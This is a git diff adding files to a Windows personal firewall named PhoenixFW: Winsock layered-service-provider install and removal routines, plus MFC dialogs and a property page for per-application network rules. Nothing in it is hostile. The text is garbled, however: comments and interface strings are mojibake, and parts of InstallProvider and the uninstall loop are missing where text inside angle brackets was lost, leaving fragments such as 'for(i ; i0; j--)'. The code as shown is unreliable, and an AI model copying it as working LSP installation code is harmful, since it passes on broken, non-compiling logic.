GetProvider(LPINT lpnTotalProtocols) +{ + DWORD dwSize = 0; + int nError; + LPWSAPROTOCOL_INFOW pProtoInfo = NULL; + + // È¡µÃÐèÒªµÄ³¤¶È + if(::WSCEnumProtocols(NULL, pProtoInfo, &dwSize, &nError) == SOCKET_ERROR) + { + if(nError != WSAENOBUFS) + return NULL; + } + + pProtoInfo = (LPWSAPROTOCOL_INFOW)::GlobalAlloc(GPTR, dwSize); + *lpnTotalProtocols = ::WSCEnumProtocols(NULL, pProtoInfo, &dwSize, &nError); + return pProtoInfo; +} + +void FreeProvider(LPWSAPROTOCOL_INFOW pProtoInfo) +{ + ::GlobalFree(pProtoInfo); +} + + + +BOOL InstallProvider(WCHAR *pwszPathName) +{ + WCHAR wszLSPName[] = L"PhoenixLSP"; + LPWSAPROTOCOL_INFOW pProtoInfo; + int nProtocols; + WSAPROTOCOL_INFOW OriginalProtocolInfo[3]; + DWORD dwOrigCatalogId[3]; + int nArrayCount = 0; + + DWORD dwLayeredCatalogId; // ÎÒÃÇ·Ö²ãЭÒéµÄĿ¼IDºÅ + + int nError; + + // ÕÒµ½ÎÒÃǵÄϲãЭÒ飬½«ÐÅÏ¢·ÅÈëÊý×éÖÐ + // ö¾ÙËùÓзþÎñ³ÌÐòÌṩÕß + pProtoInfo = GetProvider(&nProtocols); + BOOL bFindUdp = FALSE; + BOOL bFindTcp = FALSE; + BOOL bFindRaw = FALSE; + int i=0; + for(i ; i0; j--) + { + OriginalProtocolInfo[i].ProtocolChain.ChainEntries[j] + = OriginalProtocolInfo[i].ProtocolChain.ChainEntries[j-1]; + } + } + OriginalProtocolInfo[i].ProtocolChain.ChainLen ++; + OriginalProtocolInfo[i].ProtocolChain.ChainEntries[0] = dwLayeredCatalogId; + } + // »ñÈ¡Ò»¸öGuid£¬°²×°Ö® + GUID ProviderChainGuid; + if(::UuidCreate(&ProviderChainGuid) == RPC_S_OK) + { + if(::WSCInstallProvider(&ProviderChainGuid, + pwszPathName, OriginalProtocolInfo, nArrayCount, &nError) == SOCKET_ERROR) + { + return FALSE; + } + } + else + return FALSE; + + // ½«ÎÒÃǵÄЭÒéÌáÇ°£¬ÖØÐÂÅÅÐòWinsockĿ¼ + // ÖØÐÂö¾Ù°²×°µÄЭÒé + FreeProvider(pProtoInfo); + pProtoInfo = GetProvider(&nProtocols); + + DWORD dwIds[20]; + int nIndex = 0; + // Ìí¼ÓÎÒÃǵÄЭÒéÁ´ + for(i=0; i 1) && + (pProtoInfo[i].ProtocolChain.ChainEntries[0] == dwLayeredCatalogId)) + dwIds[nIndex++] = pProtoInfo[i].dwCatalogEntryId; + } + // Ìí¼ÓÆäËüЭÒé + for(i=0; i 1) && + (pProtoInfo[i].ProtocolChain.ChainEntries[0] == dwLayeredCatalogId)) + { + ::WSCDeinstallProvider(&pProtoInfo[i].ProviderId, &nError); + } + } + // ÒƳý·Ö²ãЭÒé + ::WSCDeinstallProvider(&ProviderGuid, &nError); + } + + return TRUE; +} + + + + + + + + + + + + + +///////////////////////////////////////////////////////////////////// +void RemoveAllLayeredEntries() +{ + BOOL bLayer; + int ErrorCode, + i; + + int TotalProtocols; + + LPWSAPROTOCOL_INFOW ProtocolInfo; + + while (1) + { + bLayer = FALSE; + ProtocolInfo = GetProvider(&TotalProtocols); + if (!ProtocolInfo) + { + printf("Unable to enumerate Winsock catalog!\n"); + return; + } + for(i=0; i < TotalProtocols ;i++) + { + if (ProtocolInfo[i].ProtocolChain.ChainLen != BASE_PROTOCOL) + { + bLayer = TRUE; + printf("Removing '%S'\n", ProtocolInfo[i].szProtocol); + if (WSCDeinstallProvider(&ProtocolInfo[i].ProviderId, &ErrorCode) == SOCKET_ERROR) + { + printf("Failed to remove [%s]: Error %d\n", ProtocolInfo[i].szProtocol, ErrorCode); + } + break; + } + } + FreeProvider(ProtocolInfo); + if (bLayer == FALSE) + { + break; + } + + } +} \ No newline at end of file diff --git a/Project/Network and Communication/Phoenix/user/PhoenixFW/RuleDlg.cpp b/Project/Network and Communication/Phoenix/user/PhoenixFW/RuleDlg.cpp new file mode 100644 index 0000000..7d1f7cd --- /dev/null +++ b/Project/Network and Communication/Phoenix/user/PhoenixFW/RuleDlg.cpp @@ -0,0 +1,250 @@ +// RuleDlg.cpp : implementation file +// + +#include "stdafx.h" +#include "PhoenixFW.h" +#include "RuleDlg.h" + +#ifdef _DEBUG +#define new DEBUG_NEW +#undef THIS_FILE +static char THIS_FILE[] = __FILE__; +#endif + +///////////////////////////////////////////////////////////////////////////// +// CRuleDlg dialog + +RULE_ITEM CRuleDlg::m_RuleItem; +BOOL CRuleDlg::m_bAppQuery = FALSE; +CString CRuleDlg::m_sPathName; + + +CRuleDlg::CRuleDlg(CWnd* pParent /*=NULL*/) + : CDialog(CRuleDlg::IDD, pParent) +{ + //{{AFX_DATA_INIT(CRuleDlg) + // NOTE: the ClassWizard will add member initialization here + //}}AFX_DATA_INIT +} + + +void CRuleDlg::DoDataExchange(CDataExchange* pDX) +{ + CDialog::DoDataExchange(pDX); + //{{AFX_DATA_MAP(CRuleDlg) + DDX_Control(pDX, IDC_TYPE, m_ComboType); + DDX_Control(pDX, IDC_RULE_TITLE, m_RuleTitle); + DDX_Control(pDX, IDC_PORT, m_EditPort); + DDX_Control(pDX, IDC_MEMO, m_EditMemo); + DDX_Control(pDX, IDC_DIRECTION, m_ComboDirection); + DDX_Control(pDX, IDC_ACTION, m_ComboAction); + DDX_Control(pDX, IDC__APPLICATION, m_ComboApp); + //}}AFX_DATA_MAP +} + + +BEGIN_MESSAGE_MAP(CRuleDlg, CDialog) + //{{AFX_MSG_MAP(CRuleDlg) + ON_CBN_SELCHANGE(IDC_TYPE, OnSelchangeType) + ON_CBN_SELCHANGE(IDC__APPLICATION, OnSelchangeApplication) + ON_BN_CLICKED(IDC_BROWSER, OnAppBrowser) + //}}AFX_MSG_MAP +END_MESSAGE_MAP() + +///////////////////////////////////////////////////////////////////////////// +// CRuleDlg message handlers + +BOOL CRuleDlg::OnInitDialog() +{ + CDialog::OnInitDialog(); + + // ³õʼ»¯´°¿ÚÖеĸ÷¸ö¿Ø¼þ×ÊÔ´ + // ²ÉÈ¡µÄ¶¯×÷ + m_ComboAction.InsertString(0, L"·ÅÐÐ"); + m_ComboAction.InsertString(1, L"¾Ü¾ø"); + + // ½ø³ö·½Ïò + m_ComboDirection.InsertString(0, L"½ø"); + m_ComboDirection.InsertString(1, L"³ö"); + m_ComboDirection.InsertString(2, L"Ë«Ïò"); + + // ·þÎñÀàÐÍ + m_ComboType.InsertString(0, L"È«²¿"); + m_ComboType.InsertString(1, L"TCP"); + m_ComboType.InsertString(2, L"UDP"); + m_ComboType.InsertString(3, L"FTP"); + m_ComboType.InsertString(4, L"TELNET"); + m_ComboType.InsertString(5, L"HTTP"); + m_ComboType.InsertString(6, L"NNTP"); + m_ComboType.InsertString(7, L"POP3"); + m_ComboType.InsertString(8, L"SMTP"); + + // Ó¦ÓóÌÐòÃû³Æ + for(int i=0; i< (int)g_RuleFile.m_header.ulLspRuleCount; i++) + { + if(m_ComboApp.FindString(0, g_RuleFile.m_pLspRules[i].szApplication) == CB_ERR) + m_ComboApp.AddString(g_RuleFile.m_pLspRules[i].szApplication); + } + + // ÉèÖø÷¿Ø¼þµÄ³õʼ״̬ + // ³õʼ»¯Ó¦ÓóÌÐòÃû³Æ + if(m_bAppQuery) + { + CString s; + s.Format(L"%s Òª·ÃÎÊÍøÂ磬·ÅÐÐÂð£¿", m_sPathName); + m_RuleTitle.SetWindowText(s); + m_ComboApp.SetWindowText(m_sPathName); + } + else + { + if(_tcscmp(m_RuleItem.szApplication, L"") != 0) + { + m_RuleTitle.SetWindowText(m_RuleItem.szApplication); + m_ComboApp.SetWindowText(m_RuleItem.szApplication); + } + } + // Èç¹ûÊÇÀ´×ÔDLLÄ£¿éµÄѯÎÊ£¬¾Í½ûÓá°ä¯ÀÀ¡±°´Å¥ºÍÓ¦ÓóÌÐòÃû³Æ×éºÏ¿ò + GetDlgItem(IDC_BROWSER)->EnableWindow(!m_bAppQuery); + m_ComboApp.EnableWindow(!m_bAppQuery); + + // ¸ù¾Ý¹æÔò£¬³õʼ»¯¶¯×÷¡¢·½Ïò¡¢ÀàÐÍ×éºÏ¿òµÄÏÔʾ + m_ComboAction.SetCurSel(m_RuleItem.ucAction); + m_ComboDirection.SetCurSel(m_RuleItem.ucDirection); + m_ComboType.SetCurSel(m_RuleItem.ucServiceType); + + // ÉèÖö˿ںű༭¿òÖеÄ״̬ + OnSelchangeType() ; + // ÉèÖö˿ںű༭¿òÖеÄÄÚÈÝ + CString s; + s.Format(L"%d", m_RuleItem.usServicePort); + m_EditPort.SetLimitText(5); + m_EditPort.SetWindowText(s); + + // ÉèÖñ¸×¢±à¼­¿ò + m_EditMemo.SetLimitText(50); + m_EditMemo.SetWindowText(m_RuleItem.sDemo); + + // Èç¹ûÊÇÀ´×ÔDLLÄ£¿éµÄѯÎÊ£¬¾Í½«´°¿ÚÌáÖÁ×îÇ° + if(m_bAppQuery) + { + ModifyStyleEx(WS_EX_TOOLWINDOW, WS_EX_APPWINDOW); + ::SetWindowPos(m_hWnd,HWND_TOPMOST, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE); + } + + return TRUE; // return TRUE unless you set the focus to a control + // EXCEPTION: OCX Property Pages should return FALSE +} + +void CRuleDlg::OnSelchangeType() // Óû§¸Ä±ä·þÎñÀàÐÍ×éºÏ¿òʱ£¬´Ëº¯Êý±»µ÷Óà +{ + int nIndex = m_ComboType.GetCurSel(); + + // ¸ù¾ÝÓû§Ñ¡ÔñµÄ·þÎñÀàÐ;ö¶¨ÊÇ·ñÓÐЧ¶Ë¿ÚºÅ±à¼­¿ð£¬ÒÔ¼°¶Ë¿ÚºÅµÄĬÈÏÖµ + BOOL bEnable = TRUE; + USHORT usPort = RULE_SERVICE_PORT_ALL; + switch(nIndex) + { + case RULE_SERVICE_TYPE_ALL: + bEnable = FALSE; + break; + case RULE_SERVICE_TYPE_TCP: + break; + case RULE_SERVICE_TYPE_UDP: + break; + case RULE_SERVICE_TYPE_FTP: + usPort = RULE_SERVICE_PORT_FTP; + bEnable = FALSE; + break; + case RULE_SERVICE_TYPE_TELNET: + usPort = RULE_SERVICE_PORT_TELNET; + bEnable = FALSE; + break; + case RULE_SERVICE_TYPE_HTTP: + usPort = RULE_SERVICE_PORT_HTTP; + bEnable = FALSE; + break; + case RULE_SERVICE_TYPE_NNTP: + usPort = RULE_SERVICE_PORT_NNTP; + bEnable = FALSE; + break; + case RULE_SERVICE_TYPE_POP3: + usPort = RULE_SERVICE_PORT_POP3; + bEnable = FALSE; + break; + } + CString s; + s.Format(L"%d", usPort); + m_EditPort.SetWindowText(s); + m_EditPort.EnableWindow(bEnable); +} + +void CRuleDlg::OnSelchangeApplication() +{ + CString s; + m_ComboApp.GetLBText(m_ComboApp.GetCurSel(), s); + m_RuleTitle.SetWindowText(s); +} + +void CRuleDlg::OnAppBrowser() +{ + TCHAR szFilter[] = L"(*.exe)|*.exe||"; + // µ¯³öä¯ÀÀÎļþ¶Ô»°¿ò + CFileDialog dlg(TRUE,NULL,NULL,OFN_FILEMUSTEXIST | OFN_PATHMUSTEXIST,szFilter); + if(dlg.DoModal() == IDOK) + { + m_ComboApp.SetWindowText(dlg.GetPathName()); + } +} + +void CRuleDlg::OnOK() +{ + CString s; + + // »ñÈ¡¶Ë¿ÚºÅ + m_EditPort.GetWindowText(s); + int nPort = _ttoi(s); + if(nPort > 65535 || nPort < 0) + { + MessageBox(L"¶Ë¿ÚÖµÎÞЧ£¬ÓÐЧ·¶Î§Îª 0 - 65535£¬ÇëÖØÐÂÊäÈë¡£"); + m_EditPort.SetFocus(); + return; + } + + // »ñÈ¡Ó¦ÓóÌÐòÃû³Æ + CString sApp; + m_ComboApp.GetWindowText(sApp); + if(sApp.IsEmpty() || ::GetFileAttributes(sApp) == -1) + { + MessageBox(L"Ó¦ÓóÌÐò²»´æÔÚ£¬Çë¼ì²é·¾¶ºÍÃû³Æ¡£"); + m_ComboApp.SetFocus(); + return; + } + + // »ñÈ¡±¸×¢ + CString sMemo; + m_EditMemo.GetWindowText(sMemo); + + // ¼ì²é£¬Èç¹ûÓû§Ã»ÓиıäÈκÎÉèÖõĻ°£¬¾Í°´¡°È¡Ïû¡±´¦Àí + if(sApp == m_RuleItem.szApplication && + m_RuleItem.usServicePort == nPort && + m_RuleItem.ucAction == m_ComboAction.GetCurSel() && + m_RuleItem.ucDirection == m_ComboDirection.GetCurSel() && + m_RuleItem.ucServiceType == m_ComboType.GetCurSel() && + m_RuleItem.sDemo == sMemo) + { + CDialog::OnCancel(); + return; + } + + // ½«½á¹û·µ»Ø¸øµ÷ÓÃÕß + _tcscpy(m_RuleItem.szApplication, sApp); + m_RuleItem.usServicePort = nPort; + m_RuleItem.ucAction = m_ComboAction.GetCurSel(); + m_RuleItem.ucDirection = m_ComboDirection.GetCurSel(); + m_RuleItem.ucServiceType = m_ComboType.GetCurSel(); + if(!sMemo.IsEmpty()) + { + _tcscpy(m_RuleItem.sDemo, sMemo); + } + CDialog::OnOK(); +} \ No newline at end of file diff --git a/Project/Network and Communication/Phoenix/user/PhoenixFW/RuleDlg.h b/Project/Network and Communication/Phoenix/user/PhoenixFW/RuleDlg.h new file mode 100644 index 0000000..9de5bba --- /dev/null +++ b/Project/Network and Communication/Phoenix/user/PhoenixFW/RuleDlg.h @@ -0,0 +1,62 @@ +#if !defined(AFX_RULEDLG_H__4EF71540_D704_4868_A853_93709B0F806F__INCLUDED_) +#define AFX_RULEDLG_H__4EF71540_D704_4868_A853_93709B0F806F__INCLUDED_ + +#if _MSC_VER > 1000 +#pragma once +#endif // _MSC_VER > 1000 +// RuleDlg.h : header file +// + +///////////////////////////////////////////////////////////////////////////// +// CRuleDlg dialog + +class CRuleDlg : public CDialog +{ +public: + static RULE_ITEM m_RuleItem; // ÒªÌí¼ÓµÄ¹æÔò + static BOOL m_bAppQuery; // ÊDz»ÊÇÀ´×ÔDLLÄ£¿éµÄѯÎÊ + static CString m_sPathName; // Èç¹ûm_bAppQueryΪTRUE£¬´Ë±äÁ¿°üº¬ÁË + // ·¢³öѯÎʵÄÓ¦ÓóÌÐòµÄÃû³Æ + +// Construction +public: + CRuleDlg(CWnd* pParent = NULL); // standard constructor + +// Dialog Data + //{{AFX_DATA(CRuleDlg) + enum { IDD = IDD_RULE }; + CComboBox m_ComboType; + CStatic m_RuleTitle; + CEdit m_EditPort; + CEdit m_EditMemo; + CComboBox m_ComboDirection; + CComboBox m_ComboAction; + CComboBox m_ComboApp; + //}}AFX_DATA + + +// Overrides + // ClassWizard generated virtual function overrides + //{{AFX_VIRTUAL(CRuleDlg) + protected: + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support + //}}AFX_VIRTUAL + +// Implementation +protected: + + // Generated message map functions + //{{AFX_MSG(CRuleDlg) + virtual BOOL OnInitDialog(); + afx_msg void OnSelchangeType(); + virtual void OnOK(); + afx_msg void OnSelchangeApplication(); + afx_msg void OnAppBrowser(); + //}}AFX_MSG + DECLARE_MESSAGE_MAP() +}; + +//{{AFX_INSERT_LOCATION}} +// Microsoft Visual C++ will insert additional declarations immediately before the previous line. + +#endif // !defined(AFX_RULEDLG_H__4EF71540_D704_4868_A853_93709B0F806F__INCLUDED_) diff --git a/Project/Network and Communication/Phoenix/user/PhoenixFW/RulePage.cpp b/Project/Network and Communication/Phoenix/user/PhoenixFW/RulePage.cpp new file mode 100644 index 0000000..555c8c9 --- /dev/null +++ b/Project/Network and Communication/Phoenix/user/PhoenixFW/RulePage.cpp @@ -0,0 +1,294 @@ +// RulePage.cpp : implementation file +// + +#include "stdafx.h" +#include "PhoenixFW.h" +#include "RulePage.h" +#include "Ruledlg.h" +#include "PhoenixFWDlg.h" + +#ifdef _DEBUG +#define new DEBUG_NEW +#undef THIS_FILE +static char THIS_FILE[] = __FILE__; +#endif + +///////////////////////////////////////////////////////////////////////////// +// CRulePage property page +extern CPhoenixApp theApp; + + +IMPLEMENT_DYNCREATE(CRulePage, CPropertyPage) + +CRulePage::CRulePage() : CPropertyPage(CRulePage::IDD) +{ + //{{AFX_DATA_INIT(CRulePage) + // NOTE: the ClassWizard will add member initialization here + //}}AFX_DATA_INIT +} + +CRulePage::~CRulePage() +{ +} + +void CRulePage::DoDataExchange(CDataExchange* pDX) +{ + CPropertyPage::DoDataExchange(pDX); + //{{AFX_DATA_MAP(CRulePage) + DDX_Control(pDX, IDC_RULES, m_rules); + //}}AFX_DATA_MAP +} + + +BEGIN_MESSAGE_MAP(CRulePage, CPropertyPage) + //{{AFX_MSG_MAP(CRulePage) + ON_BN_CLICKED(IDC_ADD, OnAdd) + ON_BN_CLICKED(IDC_DEL, OnDel) + ON_NOTIFY(NM_CLICK, IDC_RULES, OnClickRules) + ON_BN_CLICKED(IDC_EDIT, OnEdit) + ON_NOTIFY(LVN_ITEMCHANGED, IDC_RULES, OnItemchangedRules) + ON_NOTIFY(NM_DBLCLK, IDC_RULES, OnDblclkRules) + //}}AFX_MSG_MAP +END_MESSAGE_MAP() + +///////////////////////////////////////////////////////////////////////////// +// CRulePage message handlers + + +BOOL CRulePage::OnInitDialog() +{ + CPropertyPage::OnInitDialog(); + + // ³õʼ»¯ÁбíÊÓͼ¿Ø¼þ + m_rules.SetExtendedStyle(LVS_EX_FULLROWSELECT | LVS_EX_GRIDLINES); + m_rules.InsertColumn(0, L"Ó¦ÓóÌÐò", LVCFMT_LEFT, sizeof(L"Ó¦ÓóÌÐò")*8, 0); + m_rules.InsertColumn(1, L"¶¯×÷", LVCFMT_LEFT, sizeof( L"¶¯×÷")*8, 1); + m_rules.InsertColumn(2, L"ÀàÐÍ/¶Ë¿Ú", LVCFMT_LEFT, sizeof(L"ÀàÐÍ/¶Ë¿Ú")*8, 2); + m_rules.InsertColumn(3, L"Ó¦ÓóÌÐò·¾¶", LVCFMT_LEFT, sizeof(L"Ó¦ÓóÌÐò·¾¶")*12, 3); + m_rules.InsertColumn(4, L"˵Ã÷", LVCFMT_LEFT, sizeof(L"˵Ã÷")*12, 4); + + // ¸üÐÂÁÐ±í£¬¼´ÏòÁбíÖÐÌí¼Ó¹æÔò + UpdateList(); + + // ÎÞЧɾ³ýºÍ±à¼­°´Å¥ + GetDlgItem(IDC_DEL)->EnableWindow(FALSE); + GetDlgItem(IDC_EDIT)->EnableWindow(FALSE); + + return TRUE; // return TRUE unless you set the focus to a control + // EXCEPTION: OCX Property Pages should return FALSE +} + +void CRulePage::UpdateList() +{ + // Çå¿ÕÁбí + m_rules.DeleteAllItems(); + + // ÏòÁбíÖÐÌí¼Ó¹æÔò + for(int i=0; i<(int)g_RuleFile.m_header.ulLspRuleCount; i++) + EditARule(&g_RuleFile.m_pLspRules[i]); +} + +void CRulePage::EditARule(RULE_ITEM *pItem, int nEditIndex) +{ + // Èç¹ûnEditIndex´óÓÚµÈÓÚ0¾Í±à¼­Ë÷ÒýΪnEditIndexµÄÏ·ñÔò²åÈëÒ»¸öÐÂÏî + int nIndex = m_rules.GetItemCount(); + if(nEditIndex >= 0) + nIndex = nEditIndex; + else + m_rules.InsertItem(nIndex, L"", 0); + + // ¹¹½¨ÐÂÏîµÄÎı¾ + CString sAction, sServType; + + sAction = (pItem->ucAction == 0) ? L"·ÅÐÐ" : L"¾Ü¾ø"; + + switch(pItem->ucServiceType) + { + case RULE_SERVICE_TYPE_ALL: + sServType.Format(L"ËùÓÐ/%d", pItem->usServicePort); + break; + case RULE_SERVICE_TYPE_TCP: + sServType.Format(L"TCP/%d", pItem->usServicePort); + break; + case RULE_SERVICE_TYPE_UDP: + sServType.Format(L"UDP/%d", pItem->usServicePort); + break; + case RULE_SERVICE_TYPE_FTP: + sServType.Format(L"FTP/%d", pItem->usServicePort); + break; + case RULE_SERVICE_TYPE_TELNET: + sServType.Format(L"TELNET/%d", pItem->usServicePort); + break; + case RULE_SERVICE_TYPE_HTTP: + sServType.Format(L"HTTP/%d", pItem->usServicePort); + break; + case RULE_SERVICE_TYPE_NNTP: + sServType.Format(L"NNTP/%d", pItem->usServicePort); + break; + case RULE_SERVICE_TYPE_POP3: + sServType.Format(L"POP3/%d", pItem->usServicePort); + break; + } + + // ÉèÖÃÐÂÏîµÄÎı¾ + m_rules.SetItemText(nIndex, 0, GetFileName(pItem->szApplication)); + m_rules.SetItemText(nIndex, 1, sAction); + m_rules.SetItemText(nIndex, 2, sServType); + m_rules.SetItemText(nIndex, 3, GetFilePath(pItem->szApplication)); + m_rules.SetItemText(nIndex, 4, pItem->sDemo); +} + + + + +int CRulePage::InitAddRule(LPCTSTR szQueryApp) +{ + if(g_RuleFile.m_header.ulLspRuleCount > MAX_RULE_COUNT) + { + AfxMessageBox(L" ³¬¹ý¹æÔòµÄ×î´óÊýÄ¿£¬²»Äܹ»ÔÙÌí¼Ó"); + return -1; + } + + // ÉèÖÃÒ»¸öĬÈϵĹæÔò + RULE_ITEM tmpRule; + + _tcscpy(tmpRule.sDemo, L""); + _tcscpy(tmpRule.szApplication, L""); + tmpRule.ucAction = RULE_ACTION_PASS; + tmpRule.ucDirection = RULE_DIRECTION_IN_OUT; + tmpRule.ucServiceType = RULE_SERVICE_TYPE_ALL; + tmpRule.usServicePort = RULE_SERVICE_PORT_ALL; + + // ÉèÖô«µÝµÄ²ÎÊý + CRuleDlg::m_sPathName = szQueryApp; + CRuleDlg::m_RuleItem = tmpRule; + CRuleDlg::m_bAppQuery = (szQueryApp == NULL) ? 0 : 1; + + // ÉèÖñ¾Ò³ÃæΪ»î¶¯Ò³Ãæ + if(CRuleDlg::m_bAppQuery) + ((CMainDlg*)theApp.m_pMainWnd)->m_sheet.SetActivePage(this); + + // µ¯³öÌí¼Ó¹æÔò¶Ô»°¿ò + CRuleDlg dlg; + if(dlg.DoModal() == IDCANCEL) + { + return -1; + } + + // ½«¹æÔòÌí¼Óµ½Îļþ + if(!g_RuleFile.AddLspRules(&CRuleDlg::m_RuleItem, 1)) + { + AfxMessageBox(L"Ìí¼Ó ACL ¹æÔò´íÎó¡£"); + return -1; + } + + // ½«¹æÔòÌí¼Óµ½ÁбíÊÔͼ + EditARule(&CRuleDlg::m_RuleItem); + + return CRuleDlg::m_RuleItem.ucAction; +} + +BOOL CRulePage::AddQueryRule(LPCTSTR pszQueryApp) // ¾²Ì¬º¯Êý +{ + int nRet = ((CMainDlg*)theApp.m_pMainWnd)->m_RulePage.InitAddRule(pszQueryApp); + if( nRet == -1 ) + return FALSE; + + // ½«¹æÔò±£´æµ½Îļþ + g_RuleFile.SaveRules(); + + // ½«¹æÔòÓ¦Óõ½DLLÄ£¿é + theApp.ApplyFileData(); + // ÎÞЧÖ÷¶Ô»°¿òµÄÓ¦Óð´Å¥ + ((CMainDlg*)theApp.m_pMainWnd)->GetDlgItem(IDC_APPLY)->EnableWindow(FALSE); + + return nRet == RULE_ACTION_PASS; +} + +void CRulePage::OnAdd() // Óû§µã»÷¡°Ìí¼Ó¡±°´Å¥ +{ + if(InitAddRule() != 0) + return; + // ÓÐЧÖ÷¶Ô»°¿òµÄÓ¦Óð´Å¥ + GetOwner()->GetOwner()->GetDlgItem(IDC_APPLY)->EnableWindow(TRUE); +} + + + +void CRulePage::OnEdit() // Óû§µã»÷¡°±à¼­¡± °´Å¥ +{ + if(m_nListIndex < 0) + return; + + CRuleDlg::m_RuleItem = g_RuleFile.m_pLspRules[m_nListIndex]; + CRuleDlg::m_bAppQuery = FALSE; + + CRuleDlg dlg; + if(dlg.DoModal() == IDOK) + { + g_RuleFile.m_pLspRules[m_nListIndex] = CRuleDlg::m_RuleItem; + EditARule(&CRuleDlg::m_RuleItem, m_nListIndex); + GetOwner()->GetOwner()->GetDlgItem(IDC_APPLY)->EnableWindow(TRUE); + } +} + +void CRulePage::OnDblclkRules(NMHDR* pNMHDR, LRESULT* pResult) // Óû§Ë«»÷Áбí +{ + NM_LISTVIEW* pNMList = (NM_LISTVIEW*)pNMHDR; + if((m_nListIndex = pNMList->iItem) != -1) + { + OnEdit(); + } + *pResult = 0; +} + +void CRulePage::OnDel() // Óû§µã»÷¡°É¾³ý¡± °´Å¥ +{ + if(m_nListIndex < 0) + return; + + // ´ÓÎļþÖн«¹æÔòɾ³ý + g_RuleFile.DelLspRule(m_nListIndex); + // ´ÓÁбíÊÔͼÖн«Îļþɾ³ý + m_rules.DeleteItem(m_nListIndex); + // ÓÐЧÖ÷´°¿ÚµÄ¡°Ó¦Óá±°´Å¥ + GetOwner()->GetOwner()->GetDlgItem(IDC_APPLY)->EnableWindow(TRUE); + + // Èç¹ûûÓйæÔòÁË£¬ÔòÎÞЧ¡°±à¼­¡±ºÍ¡°É¾³ý¡±°´Å¥ + if(m_rules.GetItemCount() <= 0) + { + GetDlgItem(IDC_DEL)->EnableWindow(FALSE); + GetDlgItem(IDC_EDIT)->EnableWindow(FALSE); + return; + } + // ·ñÔò£¬Ñ¡ÖÐÏÂÒ»¸ö¹æÔò + if(m_nListIndex == m_rules.GetItemCount()) // Èç¹ûɾ³ýµÄÊÇ×îºóÒ»¸ö + m_nListIndex--; + m_rules.SetItemState(m_nListIndex, LVIS_SELECTED, LVIS_SELECTED); +} + +void CRulePage::OnItemchangedRules(NMHDR* pNMHDR, LRESULT* pResult) // Óû§¸Ä±äËùÑ¡Ïî +{ + NM_LISTVIEW* pNMList = (NM_LISTVIEW*)pNMHDR; + // »ñÈ¡µ±Ç°Ñ¡ÔñÏîµÄË÷Òý£¬Èç¹ûûÓÐÑ¡ÔñÈκÎÏîÄ¿£¬ÔòÎÞЧ¡°±à¼­¡±ºÍ¡°É¾³ý¡±°´Å¥ + if((m_nListIndex = pNMList->iItem) != -1) + { + GetDlgItem(IDC_DEL)->EnableWindow(TRUE); + GetDlgItem(IDC_EDIT)->EnableWindow(TRUE); + } + + *pResult = 0; +} + +void CRulePage::OnClickRules(NMHDR* pNMHDR, LRESULT* pResult) // Óû§µ¥»÷Áбí +{ + NM_LISTVIEW* pNMList = (NM_LISTVIEW*)pNMHDR; + // »ñÈ¡µ±Ç°Ñ¡ÔñÏîµÄË÷Òý£¬Èç¹ûûÓÐÑ¡ÔñÈκÎÏîÄ¿£¬ÔòÎÞЧ¡°±à¼­¡±ºÍ¡°É¾³ý¡±°´Å¥ + if((m_nListIndex = pNMList->iItem) == -1) + { + GetDlgItem(IDC_DEL)->EnableWindow(FALSE); + GetDlgItem(IDC_EDIT)->EnableWindow(FALSE); + } + *pResult = 0; +} + diff --git a/Project/Network and Communication/Phoenix/user/PhoenixFW/RulePage.h b/Project/Network and Communication/Phoenix/user/PhoenixFW/RulePage.h new file mode 100644 index 0000000..540ec53 --- /dev/null +++ b/Project/Network and Communication/Phoenix/user/PhoenixFW/RulePage.h @@ -0,0 +1,67 @@ +#if !defined(AFX_RULEPAGE_H__2E33FF92_18FC_4468_B4CD_1CC0CCC89189__INCLUDED_) +#define AFX_RULEPAGE_H__2E33FF92_18FC_4468_B4CD_1CC0CCC89189__INCLUDED_ + +#if _MSC_VER > 1000 +#pragma once +#endif // _MSC_VER > 1000 +// RulePage.h : header file +// + +///////////////////////////////////////////////////////////////////////////// +// CRulePage dialog + +class CRulePage : public CPropertyPage +{ + DECLARE_DYNCREATE(CRulePage) + +// Construction +public: + CRulePage(); + ~CRulePage(); + // ±à¼­Ò»¸ö¹æÔò£¬Èç¹ûnEditIndex == -1£¬ÔòÌí¼ÓÒ»¸öеĹæÔò + void EditARule(RULE_ITEM *pItem, int nEditIndex = -1); + + void UpdateList(); + + int InitAddRule(LPCTSTR pszQueryApp = NULL); + + static BOOL AddQueryRule(LPCTSTR pszQueryApp); + +// Dialog Data + //{{AFX_DATA(CRulePage) + enum { IDD = IDD_RULE_CONTROL }; + CListCtrl m_rules; + //}}AFX_DATA + + +// Overrides + // ClassWizard generate virtual function overrides + //{{AFX_VIRTUAL(CRulePage) + protected: + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support + //}}AFX_VIRTUAL + +protected: + + int m_nListIndex; + +// Implementation +protected: + // Generated message map functions + //{{AFX_MSG(CRulePage) + afx_msg void OnAdd(); + virtual BOOL OnInitDialog(); + afx_msg void OnDel(); + afx_msg void OnClickRules(NMHDR* pNMHDR, LRESULT* pResult); + afx_msg void OnEdit(); + afx_msg void OnItemchangedRules(NMHDR* pNMHDR, LRESULT* pResult); + afx_msg void OnDblclkRules(NMHDR* pNMHDR, LRESULT* pResult); + //}}AFX_MSG + DECLARE_MESSAGE_MAP() + +}; + +//{{AFX_INSERT_LOCATION}} +// Microsoft Visual C++ will insert additional declarations immediately before the previous line. + +#endif // !defined(AFX_RULEPAGE_H__2E33FF92_18FC_4468_B4CD_1CC0CCC89189__INCLUDED_) diff --git a/Project/Network and Communication/Phoenix/user/PhoenixFW/StdAfx.cpp b/Project/Network and Communication/Phoenix/user/PhoenixFW/StdAfx.cpp new file mode 100644 index 0000000..eeedea5 --- /dev/null +++ b/Project/Network and Communication/Phoenix/user/PhoenixFW/StdAfx.cpp @@ -0,0 +1,40 @@ +// stdafx.cpp : source file that includes just the standard includes +// PhoenixFW.pch will be the pre-compiled header +// stdafx.obj will contain the pre-compiled type information + +#include "stdafx.h" + + + +CString GetFilePath(TCHAR *sFilename) +{ + TCHAR sDrive[_MAX_DRIVE]; + TCHAR sDir[_MAX_DIR]; + TCHAR sFname[_MAX_FNAME]; + TCHAR sExt[_MAX_EXT]; + + _tsplitpath(sFilename, sDrive, sDir, sFname, sExt); + + CString rVal(CString(sDrive) + CString(sDir)); + int nLen = rVal.GetLength(); + + if (rVal.GetAt(nLen-1) != _T('\\')) + rVal += _T("\\"); + + return rVal; +} + +CString GetFileName(TCHAR 